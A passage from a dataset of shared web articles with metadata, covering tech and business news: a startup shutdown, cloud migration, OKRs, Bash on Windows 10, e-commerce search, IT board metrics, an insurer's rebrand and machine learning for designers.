created under this directory Add the snippet directory as a property in pom.xml so the Asciidoctor plugin can use this path to generate the snippets under this folder: The Maven plugin configuration in the pom.xml to generate the Asciidoc snippets from the build is as below: 8. API Doc generation process When the Maven build runs and the tests are executed, all the snippets will be generated in the snippets folder under the configured target/generated-snippets directory. Once the snippets are generated, the build process generates HTML output. The generated HTML file is formatted and readable, so the REST documentation is ready to use. Every time the Maven build runs, the documents also get generated with the latest updates. 9. Conclusion Having no documentation is better than wrong documentation, but Spring REST docs will help generate accurate documentation for RESTful services. As an official Spring project, it accomplishes its goals by using the Spring MVC Test library. This method of generating documentation can help support a test-driven approach to developing and documenting RESTful APIs. You can find an example project based on the code in this article in the linked GitHub repository .",en
1467726305,CONTENT SHARED,-3854488592949785912,-1032019229384696495,566823553109845253,,,,HTML,https://techcrunch.com/2016/07/04/family-photo-sharing-platform-togethera-shutters-after-low-growth-numbers/,Family photo sharing platform Togethera shutters after low growth numbers,"London-based Togethera , a startup which allowed families to share photo albums privately, is to shutter after failing to raise beyond its initial £250,000 Seed round from 2014. The startup managed to garner 65,000 users for its web/mobile platform for private photos. But it would appear the audience is continuing to use other platforms such as Apple albums or Facebook and it struggled to raise further capital with those low user numbers. The key difference between Togethera and other apps was that a user could only be invited to a group by someone who already had their email address. They also had a side-project app called Upshot where photos between friends on a night out would automatically delete a week later. Co-founder and CEO Sokratis Papafloratos started the site with Matt Dempsey, formerly of Facebook. Papafloratos told me via email: ""Unfortunately we couldn't raise further funding this year or build a business out of the product, so we have decided to shut down Togethera and Upshot and wind down the company. We took on a big, ambitious goal and built a product that was beautiful, private and put your needs as a user first. Many of our 65,000 users loved it, but the space proved to be too difficult to crack. Obviously, we're saddened by the outcome, but don't regret going for it for a second. We built a product we're proud of, we brought joy to thousands of families across the world and created an amazing team. We're now speaking to a few people about next steps and opportunities and I'm confident we're going to find a good home for the team."" The site sent out an email this afternoon to users telling them that the service will shut down on August 4th, with instructions on how to download their photos: ""Unfortunately we're not generating enough revenue to cover our costs, and our user base isn't growing fast enough to suggest our revenue issues might be solvable soon. We were also unable to secure further funding to keep the company going, despite our best efforts."" Around 3 days after Togethera shuts down on August 1st, users will receive an email to download archives of their groups' photos, videos and comments. The startup had previously raised seed financing from a group of influential European and SF-based Angel/Entrepreneurs. These were: Mosow-based Kirill Makharinsky (cofounder of ostrovok), SF-based Andy McLoughlin (cofounder, Huddle), and from London Andrew Bredon (London co-founder Dealchecker), Nic Brisbourne (Partner at Forward Partners), Alexios Vratskides (Persado and Upstream), Chris Burke (ex CTO Vodafone and previous investor in TrustedPlaces) and HOWZAT Partners (previous investors in TrustedPlaces and Trivago).",en
1467729460,CONTENT SHARED,7963184191158282052,-2726721797588771398,-806986741202048645,,,,HTML,http://blogs.wsj.com/cio/2016/07/01/johnson-johnson-targets-85-of-apps-in-cloud-by-2018/,Johnson & Johnson Targets 85% of Apps in Cloud by 2018,"Johnson & Johnson is moving aggressively to the cloud, aiming to have 85% of its applications in cloud systems from Amazon.com Inc., Microsoft Corp. and NTT Communications Corp. by 2018. The health care and medical devices company is also shutting down or consolidating 40% of existing software applications, to cut spending on technology maintenance and streamline operations, said Stuart McGuigan, chief information officer. The company is about midway to achieving the 85% goal, Mr. McGuigan said. Last year, Johnson & Johnson turned off its last mainframe, ""which is not something I was sure I'd see in my lifetime: A Fortune 100 company with absolutely no mainframe footprint,"" he said. Aside from cutting costs, cloud provides Johnson & Johnson with a way to grow faster, said Sandi Peterson, group worldwide chairman.. The company has moved more than 500 terabytes of data to Amazon Web Services, Microsoft's Azure and NTT's cloud platform, improving how research is conducted, Ms. Peterson said. Sequencing genomes, parsing disease pathways and modeling new medical devices is compute-intensive work. Putting so much data in the cloud, to use the computer processing power of outside providers, lets the company speed up product development, she said. Johnson & Johnson is on track to launch about 20 new products by 2024, she said. At least 10 new drugs have the potential to reach $1 billion in sales, the company has said . ""There's a huge explosion in biological sciences made possible because of technology,"" she said. Johnson & Johnson's senior leadership team, including chairman and chief executive Alex Gorsky, made the decision to move aggressively into the cloud, according to Mr. McGuigan. ""He understood it was a low-cost infrastructure play and has come to appreciate how much cloud could contribute to business agility,"" he said. A wave of Fortune 50 companies is moving major portions of computing infrastructure and applications to the cloud this year, after growth in corporate spending on cloud fell in 2015. Coca-Cola Co. has moved 20% of its computing environment to cloud systems from Amazon, Alphabet Inc.'s Google and others and could reach 50% in the next two to three years. General Electric Co. CIO Jim Fowler said the company plans to reduce its footprint ​to four data centers from 34 , and move ​all ​but the most sensitive data to Amazon Web Services and other clouds.",en
1467733106,CONTENT SHARED,-2639327025262198345,3217014177234377440,5005585881638053954,,,,HTML,http://www.bissetriz.com.br/2016/07/03/o-que-faz-o-okr-funcionar/,[Coaching] O que faz o OKR funcionar?,"O que faz o OKR funcionar? Entenda as principais características que fazem o OKR funcionar nas maiores organizações do planeta. Os OKRs (Objective and Key Results) ajudam empresas definir e alcançar seus objetivos com velocidade e agilidade. É por isso, entre outros motivos, que empresas como Google, Twitter e Linkedin aderiram ao framework e fazem o desdobramento de seus objetivos baseados no OKR. Neste post vamos discutir o que faz o OKR funcionar com eficácia nas organizações. Caso queira entender um pouco mais sobre o framework antes de continuar, pode encontrar uma descrição aqui: O que é OKR? . Se já estiver preparado, conheça alguns diferenciais das empresas focadas em resultados de alto nível. Tudo deve começar com uma ""estrela do norte"". Antes de pensar em OKR, sua organização deve criteriosamente ter uma missão ou um senso de propósito bem definido que traduza a visão da organização. Sem um escopo que deixe claro à todas as pessoas onde a sua empresa vai estar em um período de tempo futuro, qualquer meta que você definir fará parte de um conjunto isolado de ações sem sentido para seu futuro. Empresas com propósitos inspiradores engajam as pessoas em torno de seu futuro e motivam grandes resultados. Por favor, jamais dê um único passo no OKR sem um propósito futuro da organização. Caso contrário, sua empresa estará fazendo pessoas trabalhar duro e bater metas para chegar a lugar nenhum. Nada mais deprimente! Comece com os OKRs para sua organização no nível estratégico. Pense no nível global. Tenha os objetivos que sua empresa precisa alcançar em um horizonte de três meses que contribuirá com seu propósito do tópico anterior. Defina de 3 a 5 OKRs contendo objetivos qualitativos e desafiadores e seus resultados chaves que metrificam o crescimento da organização. Faça, então, com que os departamentos trabalhem em seus OKRs, definindo também de 3 a 5 objetivos que, juntos, traduzam os objetivos estratégicos da empresa. O mesmo deve acontecer com cada indivíduo da organização. Todos devem definir seus próprios OKRs que, juntos, traduzem os objetivos de seu departamento. Importante: os OKRs individuais devem ser pessoais. Deixe que as pessoas da organização definam seus próprios objetivos e resultados chaves. Faça apenas uma revisão de aderência pelos líderes da empresa. Isso irá garantir engajamento e participação de todos no processo de criação da estratégia. Defina uma forma de compartilhamento de informações, físico ou digital, e deixe todos os OKRs públicos. Há mil e uma maneiras de desviar a atenção das pessoas para tarefas de emergência e que não contribuem com o sucesso futuro da organização. OKRs públicos ajudam na autocrobrança na equipe e no engajamento das pessoas em suas metas. Todo mundo odeia falhar! Os OKRs não significam apenas definir e bater metas. São uma forma de descobrir o que realmente você pode fazer e onde você pode falhar o mais cedo possível. É por isso que OKRs devem ser desafiadores e tirar a equipe da zona de conforto em torno de metas nem sempre atingíveis. Se você mirar alto e não atingir, com certeza terá alcançado um resultado bem mais significativo do que ter mirado baixo. Falhar faz parte do processo, principalmente nos primeiros ciclos. O aprendizado é consequência de um ritmo de trabalho que empurra as pessoas para frente e para alcançar novos patamares de realização. Quer fazer as pessoas executarem coisas extraordinárias? Sugiro considerar o OKR! Participe da nossa discussão deixando seu comentário abaixo. Saiba mais sobre como podemos ajudá-los a definir um novo ritmo de trabalho na sua empresa clicando aqui .",pt
1467737093,CONTENT SHARED,738761744030347929,-9120685872592674274,-8695957083500263044,,,,HTML,http://www.howtogeek.com/249966/how-to-install-and-use-the-linux-bash-shell-on-windows-10/,How to Install and Use the Linux Bash Shell on Windows 10,"Windows 10's Anniversary Update offers a big new feature for developers: A full, Ubuntu-based Bash shell that can run Linux software directly on Windows. This is made possible by the new ""Linux Subsystem for Windows"" Microsoft is adding to Windows 10. If you're using an Insider Preview build of Windows 10, you can now install the Bash shell and play with it yourself right now. This feature was added in Insider Preview build 14316, which was only available on the Fast channel at the time this article was written. It's also only for 64-bit versions of Windows 10. What You Need to Know About Windows 10's Bash Shell This isn't a virtual machine , a container, or Linux software compiled for Windows (like Cygwin ). Instead, Windows 10 gains a Linux Subsystem for Windows, which is based on Microsoft's abandoned Project Astoria work for running Android apps on Windows. Think of it as the opposite of Wine . While Wine allows you to run Windows applications directly on Linux, the Linux Subsystem for Windows allows you to run Linux applications directly on Windows. Microsoft has worked with Canonical to offer a full Ubuntu-based Bash shell that runs atop this subsystem. Technically, this isn't Linux at all. Linux is the underlying operating system kernel, and that isn't available here. Instead, this allows you to run the Bash shell and the exact same binaries you'd normally run on Ubuntu Linux. Free-software purists often argue the average Linux operating system should be called ""GNU/Linux"" because it's really a lot of GNU software running on the Linux kernel. The Bash shell you'll get is really just all those GNU utilities and other software. There are some limitations here. This won't work with server software, and it won't work with graphical software. It's intended for developers who want to run Linux command-line utilities on Windows. These applications get access to the Windows file system, but you can't use Bash commands to automate normal Windows programs, or launch Bash commands from the standard Windows command-line. They get access to the same Windows file system, but that's it. Not every command-line application will work, either, as this feature is still in beta. How to Install Bash on Windows 10 To get started, ensure you're using at least build 14316 of Windows 10 . You'll need to enable Insider Preview builds to get this feature before the Anniversary Update is officially released. This only works on 64-bit builds of Windows 10, so it's time to switch to the 64-bit version of Windows 10 if you're still using the 32-bit version. Once you're sure you're using the correct version of Windows 10, open the Settings app and head to Update & Security > For Developers. Activate the ""Developer Mode"" switch here to enable Developer Mode. Next, open the Control Panel, click ""Programs,"" and click ""Turn Windows Features On or Off"" under Programs and Features. Enable the ""Windows Subsystem for Linux (Beta)"" option in the list here and click ""OK."" After you do, you'll be prompted to reboot your computer. Click ""Restart Now"" to reboot your computer and Windows 10 will install the new feature. After your computer restarts, click the Start button (or press the Windows key), type ""bash"", and press ""Enter."" The first time you run the bash.exe file, you'll be prompted to accept the terms of service. The command will then download the ""Bash on Ubuntu on Windows"" application from the Windows Store. You'll be asked to create a user account and password for use in the Bash environment. If you'd like to automate the installation of Bash instead, you can run the following command in a Command Prompt window. This will automatically agree to all prompts and set the default user to ""root"" with no password: How to Use Ubuntu's Bash Shell and Install Linux Software You'll now have a full command-line bash shell based on Ubuntu. Because they're the same binaries, you can use Ubuntu's apt-get command to install software from Ubuntu's repositories. You'll have access to all the Linux command line software out there, although not every application may work perfectly-especially in the initial beta releases. To open the Bash shell, just open your Start menu and search for ""bash"" or ""Ubuntu."" You'll see a ""Bash on Ubuntu on Windows"" application. You can pin this application shortcut to your Start menu, taskbar, or desktop for easier access. If you're experienced using a Bash shell on Linux, Mac OS X, or other platforms, you'll be right at home. You don't need to use sudo , as you're given a root shell. The ""root"" user on UNIX platforms has full system access, like the ""Administrator"" user on Windows. Your Windows file system is located at /mnt/c in the Bash shell environment. Use the same Linux terminal commands you'd use to get around. If you're used to the standard Windows Command Prompt with its DOS commands, here are a few basic commands on both Bash and Windows: It's important to remember that, unlike Windows, the Bash shell and its Linux-imitating environment are case-sensitive. In other words, ""File.txt"" with a capital letter is different from ""file.txt"" without a capital. For more instructions, consult our beginner's guide to the Linux command-line and other similar introductions to the Bash shell, Ubuntu command line, and Linux terminal online. You'll need to use the apt-get command to install and update the Ubuntu environment's software. Be sure to prefix these commands with ""sudo"", which makes them run as root-the Linux equivalent of Administrator. Here are the apt-get commands you'll need to know: Download Updated Information About Available Packages: sudo apt-get update Install an Application Package: sudo apt-get install packagename (Replace ""packagename"" with the package's name.) Uninstall an Application Package: sudo apt-get remove packagename (Replace ""packagename"" with the package's name.) Search for Available Packages: sudo apt-cache search word (Replace ""word"" with a word you want to search package names and descriptions for.) Download and Install the Latest Versions of Your Installed Packages: sudo apt-get upgrade Once you've downloaded and installed an application, you can type its name at the prompt and press Enter to run it. Check that particular application's documentation for more details. Remember, software you install in the Bash shell is restricted to the Bash shell. You can't access it from the Command Prompt, PowerShell, or elsewhere in Windows. Software in the Bash shell also can't interact directly with or launch Windows programs, although the Bash environment and Windows have access to the same files on your computer. However, you can create Bash shell scripts (.sh scripts) and run them with the Bash shell.",en
1467742416,CONTENT SHARED,-8343581376353287618,-1352064057049251194,6128246391614972303,,,,HTML,http://idgnow.com.br/internet/2016/07/05/amazon-passa-google-como-ponto-de-partida-para-buscas-de-e-commerce/,Amazon passa Google como ponto de partida para buscas de e-commerce - IDG Now!,"Uma pesquisa feita nos Estados Unidos pela empresa de consultoria PowerReviews , especializada em opiniões de consumidores, mostra que a Amazon já passa a Google quando se trata de fazer buscas para compras de produtos online. Segundo a pesquisa, que ouviu mais de 1 mil consumidores, 38% deles elegeram o site Amazon.com como ponto de partida na hora de procurar algum produto, contra 35% que iniciam a busca via Google.com. Um dos principais motivos para isso: as opiniões dos outros consumidores. A informação faz parte do estudo 'Mapping the Path to Purchase' (Mapeando o Caminho das Compras). O estudo mostra que menos de um quarto (21%) dos consumidores faz a busca a partir da loja online de uma marca e que apenas 6% usam outros marketplaces, como eBay ou Etsy. A razões para a preferência pela Amazon.com, segundo o estudo, incluem a gigantesca variedade de produtos, as promoções e o frete gratuito. Mas um elemento tão importante quanto os anteriores é a grande quantidade de reviews de outros consumidores sobre o objeto do desejo. Mais da metade dos entrevistados (55%) que disseram iniciar sua busca pela Amazon o fizeram pela possibilidade de ver os comentários de outros consumidores. Praticamente a totalidade desses consumidores (99%) disseram ter lido os comentários, o que mostra que a cultura do boca-a-boca é fator determinante para influenciar a decisão de compra. Entre os 35% de consumidores que disseram preferir o Google como ponto de partida para suas bucas, mais da metade clicou nos resultados do Google Shopping. No entanto, a Amazon também acabou se transformando em destino para os consumidores via Google: 41% deles acabaram clicando em um link para a Amazon.com. Para o CEO da PowerReviews, Matt Moog, ""os consumidores querem tomar decisões esclarecidas e estão se voltando para fontes que oferecem riqueza de conteúdo gerado por seus pares, como índice de satisfação e reviews. Os varejistas podem melhorar a jornada do consumidor por seus canais ao tornar esses itens mais relevantes e acessíveis para seus consumidores online"".",pt
1467745314,CONTENT SHARED,2822049545552366036,8766802480854827422,-2589067721385166046,,,,HTML,http://chiefmartec.com/2016/07/2-terrific-martech-talks-rise-ai-marketing/,2 terrific #MarTech talks on the rise of AI in marketing - Chief Marketing Technologist,"One of the hottest topics in marketing technology today is the rise of artificial intelligence (AI), machine learning, and cognitive computing in marketing. If you're wondering about the difference between those three terms, well, my feeble attempt at delineating them is this: machine learning is a subset of AI (which broadly applies to computers doing ""smart"" things), and machine learning is used in cognitive computing to enable a software program to ""reason"" like a human, which is one kind of AI. Does that clear it up? ""Uh, not really."" Well, here are two much better explanations of these concepts and how they are being applied to marketing by two of our featured speakers at the MarTech conference in San Francisco this past March . First, Gerry Murray of IDC gave a fantastic talk on Cognitive Marketing: The Rise of the Super-Intelligent Marketer : And second, David Raab of Raab & Associates - and a member of the MarTech Conference advisory board - gave a terrific presentation on How Machine Intelligence Will Really Change Marketing : Thinking marketing technology has been a wild ride so far? We're just beginning. Interested in more talks on this caliber on marketing technology? Join us at an upcoming MarTech conference in Europe or the US.",en
1467748084,CONTENT SHARED,-5912792039759735631,1895326251577378793,-5147778548049361735,,,,HTML,http://www.mckinsey.com/business-functions/business-technology/our-insights/five-questions-boards-should-ask-about-it-in-a-digital-world,Five questions boards should ask about IT in a digital world,"CIOs, business executives, and board directors need a shared language to discuss IT performance in a fast-changing environment. Here's a framework for those conversations. Historically, boards have had a hard time assessing and discussing information-technology spending and capabilities. They associate IT with endless reviews of mammoth, years-long transformation projects or complex explanations by the CIO of ever-changing technologies and system requirements. And they try to decode the CIO's reports using their first language, which is centered on traditional cost-related metrics, such as head counts and bottom lines. In this era, companies are exploring digital business models, processes, and automation technologies, as well as seeking to hire and retain people with different skill sets-data analysts instead of data programmers, for instance. The IT organization can no longer be considered just a service provider; how it manages the integration of emerging technologies can help determine the success of a company's digital strategy. Therefore, simply relying on cost-related measures will not provide a full picture of IT performance. And the CIO's boardroom presentations will continue to get lost in translation. Boards need to master a second language-one focused on digital themes, such as speed to market, agile product development, platform-based delivery models, and the benefits and challenges of analyzing various forms of corporate data. With a higher degree of digital fluency, boards can help C-suite leaders make better decisions about how to expand a company's most successful technology initiatives and when to pull the plug on lagging ones. In our experience, board directors are more likely to gain such fluency if they routinely ask these five critical questions relating to the IT organization's performance: To what degree does technology permit core business activities to happen? What value is the business getting from its most important IT projects? How long does it take the IT organization to develop and deploy new features and functionality? How efficient is IT at rolling out technologies and achieving desired outcomes? What skills and talent does IT need to achieve desired outcomes? By systematically considering each question, boards can generate practical, detailed conversations about both IT projects and processes. This approach can help directors understand exactly how much value IT is creating for a company and how its IT capabilities stack up against those of competitors. Costs associated with IT performance will remain an important topic in the boardroom-hence the need to monitor returns on critical projects-but should not dominate the conversation, as they do currently. Making these questions a formal part of IT discussions can also help CIOs determine exactly which data relating to IT projects and processes will be most useful to the board (see sidebar, ""Reporting metrics to the board""). Reporting metrics to the board In this article, we explore the five questions and illustrate the benefits boards may gain by asking them. But first, let's consider some of the challenges board directors, CIOs, and other executives face in today's digital environment. Making decisions about digital According to a McKinsey survey, senior business and IT executives plan to increase their investments in new technologies from about 32 percent of overall IT spending today to about 40 percent in 2019. In many instances, spending has been earmarked for critical digital initiatives-for example, building online channels or mobile applications and services. At board meetings, CIOs and IT organizations share detailed data about technology costs, operations, requirements, and outcomes. But board directors and business executives seem less sure than ever about how to identify the right areas for investment. They face new realities about corporate technology usage and IT performance, among them: Higher stakes. Technology is no longer just another business utility, one of many common inputs into operations. It is shaping strategies and business models as companies seek to meet their customers' demand for tech-enabled products and services. Greater complexity. The typical corporate IT landscape no longer comprises collections of ""island"" systems and applications. It is a complicated network of interlinked applications, interfaces, and databases-and many of them must be able to ""speak"" with external systems. More risk. As companies begin to digitize more products and processes, breaches of security are becoming more common-think of the data losses that have occurred, in just the past few years, at large retailers, financial institutions, utilities, and healthcare companies. Cybersecurity has thus become a frequent point of discussion in the board-room. But in a 2015 survey of more than 1,000 board members, only 11 percent of the respondents said they had a high level of knowledge about the topic. Addressing the five IT questions In the wake of these changes, board directors need to gain a broader, more comprehensive understanding of IT strategy and performance (exhibit). The five questions we've identified can provide some clarity by helping to steer boardroom conversations toward not just the costs but also the capabilities and value that IT engenders. 1. To what degree does technology permit core business activities to happen? Compared with even five years ago, companies are investing more in digital initiatives to gain critical process and production efficiencies, to launch new products, and to enter different markets. These initiatives span multiple business units and functional areas. One of corporate IT's most important objectives, then, is to facilitate end-to-end business processes. These might be activities undertaken by administrative support functions, such as finance or human resources, or they might be core business processes, such as facilitating the steps in a bank's mortgage-application process. In this environment, boards must accurately gauge the IT organization's ability to implement technologies that allow core business activities to happen, as well as its ability to act as a true partner with the business rather than just a service provider. Boards can use a number of metrics to evaluate IT performance in this area-for instance, the percentage of business processes that have been automated, the cycle times for critical end-to-end business processes, and customer- and business-satisfaction scores for various production groups. Board directors and executives at a large US bank, for example, reviewed the progress of a project to digitize the customer-registration process. After some discussion, they homed in on three performance metrics: the time needed to register new customers (in minutes) and to activate new customer accounts (in days), and the percentage of automation within the process (compared with the old one). With these key performance indicators (KPIs) in hand, senior leaders approved the launch of digital initiatives that would decrease the time required to register customers and to activate their accounts, while increasing end-user satisfaction. The board and the technology teams recognized that IT's priorities and resource needs would shift as more customers registered and required support for advanced transactions. They decided to revisit the metrics and priorities associated with the registration process after the project had reached certain milestones. 2. What value is the business getting from its most important IT projects? As we mentioned earlier, cost is already a major part of the dialogue in all boardrooms, but assurances of value should be part of the conversation as well. The leadership mostly understands that to go digital or otherwise modernize IT systems, it will need to invest millions, sometimes billions, of dollars in IT over the next five to ten years. It also knows that the capacity and funding required to get IT projects off the ground are typically in short supply. Thus, it is crucial for boards to track the most important projects actively and learn whether they are delivering the outcomes promised-according to our analysis, the act of measuring a project's benefits can reduce the risk of failure by more than ten percentage points. Board directors must have regular access to information such as the percentage of projects that are completed on time and on budget and that provide functionality within designated time frames, as well as the tangible business and IT benefits that an IT solution generated. The board and other stakeholders have a number of ways to gain access to this information. The leadership team at one global travel company made such outcomes more transparent by implementing a portfolio-management tool that compels all project managers to report project status (cost, schedule, and scope) in a standard way. With this information, IT leaders, executives, and the board could more easily track costs and returns for the company's portfolio of important projects. They were able to allocate and reallocate resources as needed, increasing the organization's operational agility. 3. How long does it take the IT organization to develop and deploy new features and functionality? Companies operating in a digital world can no longer afford to delay product launches or upgrades-not when online companies can deploy new features and functionality on their websites several times a day. Amazon, for instance, can release code every ten seconds or so, update 10,000 servers at a time, and roll back website changes with a single system command. Many IT organizations are now shifting toward two speeds of operation. Product-development teams and IT operations staff are charged with rapidly launching innovative customer-facing applications or upgrades while also maintaining slower (but still reliable) back-end transactions-oriented systems. Boards, CIOs, and other IT leaders must come to a common understanding of the infrastructure, resources, and capabilities required to operate at two speeds. One metric they might use is the percentage of groups, within the IT organization, that can develop and deploy ""business consumable"" functionality within four to eight weeks in a secure, repeatable way. The senior leadership at a large European bank, for example, was considering how to release new product features and functionality into the market more quickly. As part of the boardroom discussions, the directors, the CIO, and the CEO sought to understand the company's technology capabilities by assessing the average time a project took to go from initial funding to first production release. With this and other time-based information in hand, senior leaders recognized gaps in the processes for project approval and software development and saw significant lag time in issuing new releases. They determined that they needed to reallocate IT resources in a way that would ensure the IT organization's agility by funding the appropriate technologies, processes, and people to establish a two-speed operating model. How social tools can reshape the organization Read the article 4. How efficient is IT at rolling out technologies and achieving desired outcomes? Infrastructure operations, application development and maintenance, and security-these three areas account for about 90 percent of staffing and spending in typical IT organizations. So it is critical for boards, executives, and IT leaders to agree on not just what IT is achieving (the focus of the first three questions) but also how efficiently it achieves these outcomes. By regularly monitoring metrics relating to execution, boards can ensure that their companies get optimal returns on IT projects, that teams go to market quickly with new products or upgrades, and that overall costs remain low while the technologies used promote long-term reliability. Stakeholders can learn a lot by reviewing metrics on productivity, product quality, and average costs. Already, IT organizations are collecting many of these data-for example, incident data, average defects in code, or the cost of code per function point. CIOs and other technology professionals can use existing tools to collect and present these metrics in the boardroom. At one travel company, for instance, the board got a clear reading on productivity in the IT organization and product quality by tracking maintenance metrics-for instance, incidents and enhancements reported per software application, help-desk staffer, or call-center employee. Managers on the CIO's team, using information already available, compiled targeted reports for directors to review. What next-generation skills and talent are already embedded in IT? A recent McKinsey survey of more than 700 CIOs and other C-suite executives revealed that talent management in IT is among their top three issues. The IT organization, increasingly, is being asked to participate in projects and initiatives that require technology workers to extend themselves beyond their traditional roles-playing a central role in data analytics or mobile-app development, for instance-while simultaneously maintaining legacy systems. The change in expectations is creating more opportunities but also more risks and stresses among IT teams. It is therefore critical for boards and CIOs to have a common understanding of what skills and capabilities the IT organization might need, now and in the future. They can measure their talent-development efforts along three dimensions: how often a company is rotating professionals in and out of different roles within the IT group and the business units, the degree to which the IT organization is hiring outside people, and how effective it has been in developing people in-house to fill pivotal roles. Getting agreement on these topics may require directors, CIOs, and other stakeholders to consider metrics such as employee-satisfaction scores or the percentage of project roles that could not be adequately staffed over a 12-month period because of a lack of internal skills. The board at one large international retail bank undertook such a review and found that less than 5 percent of its IT leadership team had any business-unit experience. It promptly sought to increase that number to 20 percent. The CIO and the rest of the senior leadership agreed to establish cross-unit training and development teams, redefined certain roles and responsibilities to increase business-IT collaboration, and instituted regular checks with employees to ensure that the IT organization was making progress against its goals for improvement. Because of the speed at which IT innovations occur, boards and CIOs may need to introduce new metrics and drop less relevant ones within each of the five areas of inquiry. Regardless, the questions impose discipline on the relationship between the board and the CIO. They prompt directors and technology executives to have productive discussions about the function's strategic direction and the technology initiatives that matter most, to ensure that the overall management structure required to realize those projects is in place, and to monitor and discuss the results in a way that everyone understands. About the author(s) Aditya Pande is a partner in McKinsey's Chicago office, where Christoph Schrey is an associate principal.",en
1467751785,CONTENT SHARED,-3614882924009373024,-6895155480127642372,402973488748335330,,,,HTML,http://jrscomunicacao.com/2016/07/01/yasuda-maritima-muda-nome-para-sompo-seguros-s-a-e-conclui-alinhamento-com-grupo-global/,Yasuda Marítima muda nome para Sompo Seguros S.A. e conclui alinhamento com Grupo global,"A Yasuda Marítima, empresa do Grupo Sompo Holdings - um dos maiores grupos seguradores do mundo - acaba de dar o passo definitivo no processo de integração da companhia com o grupo global de origem japonesa. A partir de hoje, 1º de julho, a companhia muda sua razão social para Sompo Seguros S.A. e assume nome e marca alinhados com os da multinacional da qual é subsidiária. ""A nova identidade reflete o atual posicionamento da companhia no Brasil, muito alinhada aos objetivos do grupo em escala global. Pretendemos ser a seguradora preferida na escolha dos clientes, desenvolvermos nossas estratégias de crescimento sustentável, sermos líderes em termos de qualidade, aumentar participação no mercado de Seguros, além de obtermos reconhecimentos sociais relevantes, como estarmos entre as melhores empresas para se trabalhar"", destaca Diretor-Presidente da Yasuda Marítima, Francisco Caiuby Vidigal Filho. Com isso, a Sompo Seguros S.A. assume a identidade de um grupo presente nos cinco continentes, mais de 20 milhões de clientes ao redor do globo e um faturamento de mais de 2.552 bilhões de ienes (cerca de R$ 81 bilhões). O Brasil é a maior operação do grupo fora do Japão, com um faturamento de R$ 2,7 bilhões em 2015. Expectativas A nova identidade da companhia faz parte dos planos de expansão da operação brasileira. Para atingir a meta de alcançar um crescimento médio anual de 20% até o ano de 2020, a companhia já fez investimentos em tecnologia, que propiciarão ganho em termos de eficiência e economia de recursos, bem como a melhoria nos processos de subscrição implantados durante o ano de 2015. A Sompo Seguros S.A. também tem uma programação de lançamentos de produtos em diversos segmentos, a exemplo de Automóvel, Empresariais e Transportes. A companhia já vem com o processo de incremento no leque de produtos e, desde Novembro de 2015, acrescentou sete produtos nos ramos Affinitty (Seguro Viagem), Automóvel (Auto Supremo), Empresarias (Escolas e Clínicas e Consultórios), Vida (Vida Top Mulher), Transportes (Siga Bem Seguro - Transportador e Siga Bem Seguro - Embarcador). A empresa tem como objetivo realizar uma oferta cada vez mais personalizada para os clientes e por isso tem incluído em seu catálogo produtos diferenciados. Atuação Global O Grupo Sompo conta com uma rede global de negócios que abrange 32 países em regiões da Europa, Oriente Médio, África, América do Norte, Central e América do Sul, Ásia e Oceania. O Brasil é a maior operação do Grupo fora do Japão. No Japão, a companhia atua não só na área de seguros, mas também em outros serviços financeiros e serviços de assistência que complementam a experiência positiva do segurado junto ao segmento. O grupo vem crescendo organicamente e também por aquisições de negócios fora do Japão. O crescimento do ano fiscal de 2015 foi de 1,8%, para um faturamento de mais de 2.552 bilhões de ienes. Histórico O processo para adoção da nova identidade da Sompo Seguros S.A. teve início em 2009, quando a Marítima Seguros, uma companhia fundada em Santos (SP) há mais de 70 anos, vendeu 50% de sua participação acionária à Yasuda Seguros, que atuava no Brasil desde 1959 e era subsidiária do Grupo Sompo Japan (hoje, Grupo Sompo Holdings). No início de 2013, o Grupo Sompo, por intermédio da Yasuda Seguros S.A., aumentou sua participação, assumindo o controle acionário da Marítima Seguros S.A. Já em abril de 2014, a companhia obteve a aprovação prévia da SUSEP - Superintendência de Seguros Privados, para se incorporar, passando a se chamar Yasuda Marítima Seguros. A aprovação final do órgão regulador foi concedida e publicada no dia 7 de outubro de 2014. Após conclusão do processo de integração houve a decisão pela mudança da marca para Sompo Seguros S.A., já autorizada pela SUSEP e que vale a partir de 1º de Julho de 2016. *Informações de RMA Comunicação.",pt
1467758769,CONTENT SHARED,638282658987724754,-1443636648652872475,-8996981937229262048,,,,HTML,https://www.oreilly.com/learning/machine-learning-for-designers,Machine Learning for Designers,"Les machines de l'île (source: By Traaf on Flickr ). This is the full report "" Machine Learning for Designers ,"" by Patrick Hebron. For more on this and related topics, check out our upcoming online conference, Designing for the Internet of Things . Introduction Since the dawn of computing, we have dreamed of (and had nightmares about) machines that can think and speak like us. But the computers we've interacted with over the past few decades are a far cry from HAL 9000 or Samantha from Her . Nevertheless, machine learning is in the midst of a renaissance that will transform countless industries and provide designers with a wide assortment of new tools for better engaging with and understanding users. These technologies will give rise to new design challenges and require new ways of thinking about the design of user interfaces and interactions. To take full advantage of these systems' vast technical capabilities, designers will need to forge even deeper collaborative relationships with programmers. As these complex technologies make their way from research prototypes to user-facing products, programmers will also rely upon designers to discover engaging applications for these systems. In the text that follows, we will explore some of the technical properties and constraints of machine learning systems as well as their implications for user-facing designs. We will look at how designers can develop interaction paradigms and a design vocabulary around these technologies and consider how designers can begin to incorporate the power of machine learning into their work. Why Design for Machine Learning is Different A Different Kind of Logic In our everyday communication, we generally use what logicians call fuzzy logic . This form of logic relates to approximate rather than exact reasoning. For example, we might identify an object as being ""very small,"" ""slightly red,"" or ""pretty nearby."" These statements do not hold an exact meaning and are often context-dependent. When we say that a car is small, this implies a very different scale than when we say that a planet is small. Describing an object in these terms requires an auxiliary knowledge of the range of possible values that exists within a specific domain of meaning. If we had only seen one car ever, we would not be able to distinguish a small car from a large one. Even if we had seen a handful of cars, we could not say with great assurance that we knew the full range of possible car sizes. With sufficient experience, we could never be completely sure that we had seen the smallest and largest of all cars, but we could feel relatively certain that we had a good approximation of the range. Since the people around us will tend to have had relatively similar experiences of cars, we can meaningfully discuss them with one another in fuzzy terms. Computers, however, have not traditionally had access to this sort of auxiliary knowledge. Instead, they have lived a life of experiential deprivation. As such, traditional computing platforms have been designed to operate on logical expressions that can be evaluated without the knowledge of any outside factor beyond those expressly provided to them. Though fuzzy logical expressions can be employed by traditional platforms through the programmer's or user's explicit delineation of a fuzzy term such as ""very small,"" these systems have generally been designed to deal with boolean logic (also called ""binary logic""), in which every expression must ultimately evaluate to either true or false. One rationale for this approach, as we will discuss further in the next section, is that boolean logic allows a computer program's behavior to be defined as a finite set of concrete states, making it easier to build and test systems that will behave in a predictable manner and conform precisely to their programmer's intentions. Machine learning changes all this by providing mechanisms for imparting experiential knowledge upon computing systems. These technologies enable machines to deal 